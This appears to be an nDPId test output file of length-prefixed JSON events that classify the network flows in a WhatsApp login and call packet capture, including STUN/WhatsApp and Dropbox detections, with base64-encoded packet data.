+00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":951,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1432582303300,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"91.253.176.65","src_port":52794,"dst_port":9665,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":951,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":300524,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIibwAAEARIT7AqAIEW\/2wQc46JcEANNm\/AAEAGCESpEJqJ0QlQ7N3HdICmh0ACAAUdy+mbVoXRYBrOj7VSucZjRXX5oc="} +00586{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":951,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1432582303300,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"91.253.176.65","src_port":52794,"dst_port":9665,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00687{"flow_id":55,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":954,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":355289,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"xiwDYGpkAPS5Jrv0CABFwADoe2oAAEARx\/HAqAIEHw1UMM46DZYA1LT\/gPhVqAAAFAAKFQ4QO5YRnqxmcDxXUwJcX+x8T8ZmO3EsLKIXqky0fB5AZTybZVFSm0WTZPklkb8\/5llTCzEbtxbEFQRMdmmWnqYLMO+U\/inIg+s8k3y8P+dBWxlU49qs3a0CuXtnbKdc+6bgmshii4WqbMG\/MaaOc3yJMTdpJeOBf1VxNFAilTYAcKju3jXEp5YZ0SZ6lNguqjBQsJqmjsbgl0f\/MyPKvc60IvIACSiDcTxFntnkiIJKBvO8Lm4irtnZRQE0hvlNvaKl"} +00466{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":964,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":604793,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI2uIAAC8R4ddb\/bBBwKgCBCXBzjoANGAJAAEAGCESpEIU61RZ3ZsVVlL2qyQACAAUqmIWy0WW07d7nJ5APIsHCVUVL7g="} +00466{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":965,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":607918,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIbOUAAEARPhXAqAIEW\/2wQc46JcEANIk8AQEAGCESpEIU61RZ3ZsVVlL2qyQACAAU6CFWVCyx0lHi4kItE160ER18SxI="} +00466{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":966,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":616302,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIgjEAAEARKMnAqAIEW\/2wQc46JcEANMh1AAEAGCESpEIsOC9qKgcRQkh47WsACAAU2ZdPl1kHfCpml7O+IRdvILydfEM="} +00466{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":968,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":694711,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIBlkAAC8RtmFb\/bBBwKgCBCXBzjoANK7MAQEAGCESpEIsOC9qKgcRQkh47WsACAAUfDHrJU+Q0hLT1ujVdOoJkJQ5oh0="} +00555{"flow_id":57,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":969,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":726628,"pkt_caplen":148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":148,"pkt_l4_len":114,"pkt":"APS5Jrv0xiwDYGpkCABFAACGn+EAAC8RHJtb\/bBBwKgCBCXBzjoAcvEqgcgADiB2M\/791SdyqlAqImpztq4uzEXsSv9PRAS7SscEpCN3WkeSqI1PR+0RnGacvWTO5KhUtkDP\/XZj6X3ehYWgAKgDzn8YmxaKM+F3YUR8Z3sJtuullTCtK5aAAAAEL6bXEoCZRh4wrQ=="} +00539{"flow_id":57,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":971,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":733149,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"APS5Jrv0xiwDYGpkCABFAAB82sEAAC8R4cRb\/bBBwKgCBCXBzjoAaEG2gPh9YgAARgAgdjP+ZOQxMUUUVhGzWER95FE\/8a\/z1jAd3GHrzIJBa4pI7kA9Gqdp5QBB5jtx9XoKv4hMrrwamjvTCP4ZxHlAD5bRCkMCyUzSR0YdEqlSscK8NtYV6p09"} +00465{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":972,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":831637,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIdWcAAEAR5VDAqAIEAcJav846yg8ANHIiAAEAGCESpEJT9nMzid0wAn5OIFYACAAUj7UY3ZixJKF1uir6vHE5QBib28w="} +00790{"flow_id":57,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":973,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":842464,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"xiwDYGpkAPS5Jrv0CABFwAEybwcAAEAROwnAqAIEW\/2wQc46JcEBHlLvgPhVqwAAMgAKFQ4Q9NaMXNlq4Y6qmvtCPEfAjQUA7U3\/uSTEhhNW0B5j8R+GJN5mYg92WnsaKmHYpHzXxVA+jZ7IaDr1l+D35Bbc1klWJk0QnChnL3tc6k8OsIGwx7Y1T1oEKlShDdoZVCzmm\/O\/ReB3H8lSKTDYfi3jogNGRiAa\/19FNRLGbADaLBYEz2Ha4Sf9frbVjVT0OvtNOMarfGZaAHwUxCXsLQCDmP7HieB0\/YLcY\/FK+N77a9JN\/SYRkYneKdd4KfpxB9NTp7HkW4pcv+2Bvbp9q\/cEQqwRYT\/7xCbzC8UkQx5QYGKWBllhCkptltXY7w9B5JlXLd8cddzZlVSFpe6c58NtDGjGgHxeTgtHcd4="} +00599{"flow_id":57,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":974,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":887322,"pkt_caplen":181,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":181,"pkt_l4_len":147,"pkt":"APS5Jrv0xiwDYGpkCABFAACnquIAAC8REXlb\/bBBwKgCBCXBzjoAk5vAgPh9YwAAUAAgdjP+UgylMm9kt9ptIlBeLOh0Id9AD3M2\/ABgM2DdIsf0tkrM7lgS4lrFsXMmL2hEfIEXUsuuCCCODO1QXBMq2ogOc9SlcwdPFcVpXadZaVrOQFqMTrvD\/2A8osi7N7IzHqhjcORVr1xN+eR0tbzYPVCIBXJU50XXNtISKe6rtzDT8A=="} +00445{"flow_id":57,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":975,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":887362,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"APS5Jrv0xiwDYGpkCABFAAA2GgoAAC8RosJb\/bBBwKgCBCXBzjoAIoIhgdAAAiB2M\/4\/I5E2gAAABVKK6AlI19vANM8="} +00684{"flow_id":57,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":976,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582304,"pkt_ts_usec":30473,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"xiwDYGpkAPS5Jrv0CABFwADoMZkAAEAReMHAqAIEW\/2wQc46JcEA1OJdgPhVrAAAPAAKFQ4Q43MEe3KLaVU1xewlW9cq7cF97\/dYnRDmtBGTmyUbx\/HUUY4j8xnaZQRbMiJS6cflwOof2xWiDQY43WBbUKsBBcp4vZT0OnUXnhRVMpcRt97yVSku1FBRqMbttg\/UgNNaKeSJ8eg5DWDBvBJohAODrMF065CNErFIzfKYE0mL+6bxIud94h95WNqNPOcmKG7luU2H9Svwi8Gi6LmFvGyOJvrHc7f7R+zGkLlGz+fbzmY+VelWfjy8CQoHqcWD9E4A"} +00555{"flow_id":57,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":977,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582304,"pkt_ts_usec":30744,"pkt_caplen":148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":148,"pkt_l4_len":114,"pkt":"xiwDYGpkAPS5Jrv0CABFwACG3VkAAEARzWLAqAIEW\/2wQc46JcEAcpFDgcgADgoVDhDm0zkikkII0aBuupe9qgHQnKTE5Oa4fR\/vd8dVKWNG9eir0ru5v3RzVUyHHLwiMq\/Zni9wmKMgoMFg7VM1JNS5F2703crbvVDDL+GcZoseaqBhTByAAAADT5cAC8k5qBozYw=="} +00680{"flow_id":57,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":978,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582304,"pkt_ts_usec":51299,"pkt_caplen":242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":242,"pkt_l4_len":208,"pkt":"APS5Jrv0xiwDYGpkCABFAADk9q4AAC8RxW9b\/bBBwKgCBCXBzjoA0JVGgPh9ZAAAWgAgdjP+sLXxIwS2phlds5CdH0PA6\/SXm+YyBzIymAI3YPz5w5kJS4AT7ClBDknu5fafMCvfLWRVwan7mJHHnimIrbxA8vmpNUeBhRCxHVN1\/wHez630pzJtY++yWLk7jr+Fbp3KwXBrlTiPifJfZFq9U229ZK49OPvqgt7FCRD1NfalM5JpwBC0i5UPTyUq1B98ZsgxsVXrvgvgIOoDNin8cITdHArwVVBk5S042HjYG4em\/t8CujAw196F3lku9RI="} +00663{"flow_id":57,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":979,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582304,"pkt_ts_usec":194164,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"xiwDYGpkAPS5Jrv0CABFwADUHdYAAEARjJjAqAIEW\/2wQc46JcEAwKTWgPhVrQAARgAKFQ4QalFncW6NRw4A6gM1fmXENXmb2KdYDN5PXF9KsV0VupMSWQijDp\/O\/sdaSngV0TejlKbXTatx79gNJUeypuKmjvqU8vRs6yV6ONi19JiTK9iCnFCd88NO4eF62+Gk8TYil8sJBJVMvCfptTtD85KD\/XngBbIpCzX7mM42rF3\/9i9g4NOp+kjlyQLi0kYQkhw4r\/X9O8cRC6OHWgEpTOwn52brE5QGsgWrQbd8IA=="} +00510{"flow_id":57,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":980,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582304,"pkt_ts_usec":211399,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"APS5Jrv0xiwDYGpkCABFAABn7PkAAC8Rz6Fb\/bBBwKgCBCXBzjoAU9yqgPh9ZQAAZAAgdjP+Dibhh+kUFB6If5JZ5tjXjRTlnz8Ivtmmtm+TjUk6ij8yFFGSg7gZOsT3R0qQPBx\/204tvLAa88M0JAmJ7ZN9"} +00465{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":985,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582304,"pkt_ts_usec":464260,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIRQUAAEARFbPAqAIEAcJav846yg8ANIW7AAEAGCESpEIZoNpuKgJFUxs+kVcACAAURUHG5kUyySWGpYslvS2cuO+ddv8="} +00465{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":998,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582305,"pkt_ts_usec":100006,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABI+yoAAEARX43AqAIEAcJav846yg8ANESCAAEAGCESpEKHi4QAVEzkfV5fTxcACAAUSe5EBzgFfmq12TvpmvAMFQPSazU="} +00824{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1006,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582305,"pkt_ts_usec":542476,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFIAAP8RdlMAAAAA\/\/\/\/\/wBEAEMBNOc+AQEGALYzLg0AIgAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00467{"flow_id":56,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1010,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582305,"pkt_ts_usec":729284,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIr1YAAEARq2HAqAIEAcJav846yg8ANKgQAAEAGCESpELZAvkIKfkpFBb9pE8ACAAUpwxPL3W2phMpSSxWPm\/EvQ75gEI="} +00467{"flow_id":56,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1021,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582306,"pkt_ts_usec":364356,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABI4aUAAEAReRLAqAIEAcJav846yg8ANKLfAAEAGCESpEIz2ONY3CmHVuVWzUMACAAUZrHzQ82TK7U+\/hqibPpy5E4012Y="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1022,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1432582306376,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01091{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1022,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582306,"pkt_ts_usec":376756,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAIS5VYAAEARDTTAqAIBwKgC\/0RcRFwB\/jsJeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1022,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1432582306376,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00466{"flow_id":56,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1033,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582306,"pkt_ts_usec":999093,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIKgAAAEARMLjAqAIEAcJav846yg8ANPy6AAEAGCESpEL31FdWatBeIMDvxDAACAAUSFPzRc996SzqmZ6E1q9HrR63LhY="} +00469{"flow_id":56,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1043,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582307,"pkt_ts_usec":625866,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIC\/EAAEARTsfAqAIEAcJav846yg8ANL9aAAEAGCESpEJtcaF4+ugdL0CNqlQACAAUaPHflDa2x9PoZdiwWZf\/\/ginRuE="} +00467{"flow_id":56,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1052,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582308,"pkt_ts_usec":251114,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIsHQAAEARqkPAqAIEAcJav846yg8ANE36AAEAGCESpEItkB8JCH8yd1sjMhQACAAUEQzuvewy\/DjCKlzLvHRA+8aLVJs="} +00467{"flow_id":56,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1082,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582308,"pkt_ts_usec":876804,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIp3sAAEARszzAqAIEAcJav846yg8ANDBqAAEAGCESpEI2+O8fm7GQQ8RZfFAACAAU6QQG+fZzRwp0tCMEhTfwUyAxZHE="} +00467{"flow_id":56,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1119,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582309,"pkt_ts_usec":508238,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIogkAAEARuK7AqAIEAcJav846yg8ANKfKAAEAGCESpEIkfOkTsinVRe+IpC0ACAAU8IG+HfRTsolvfQt3aQvidfLvoyA="} +00468{"flow_id":56,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1155,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582310,"pkt_ts_usec":134411,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIF5sAAEARQx3AqAIEAcJav846yg8ANB3aAAEAGCESpEI2BLYsKIzOYULIUz8ACAAUke3XWAt6X\/RcnH2DfB+KIJfMnqI="} +00578{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1178,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582310,"pkt_ts_usec":664256,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACas04AAEARm1vAqAIEHw1JMM46DZYAht+3CAAAaiESpEIAAPA16Ue1KOAmhBZAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00578{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1179,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582310,"pkt_ts_usec":664805,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACawzQAAEARd3XAqAIEHw1dMM46DZYAhj6cCAAAaiESpEIAABQXleBLNAVxhWJAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00579{"flow_id":50,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1180,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582310,"pkt_ts_usec":665524,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACavs8AAEARiUrAqAIEHw1PwM46DZYAhjFHCAAAaiESpEIAAL9\/1m08YXkuT0dAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00578{"flow_id":51,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1181,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582310,"pkt_ts_usec":666073,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACawH0AAEARgvzAqAIEszzAMM46DZYAhtgQCAAAaiESpEIAAHR4erx3E5L39hpAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00578{"flow_id":52,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1182,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582310,"pkt_ts_usec":666615,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACa4soAAEARtB7AqAIErfxyAc46DZYAhpkTCAAAaiESpEIAAPckPngMfZVuqj5AAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} 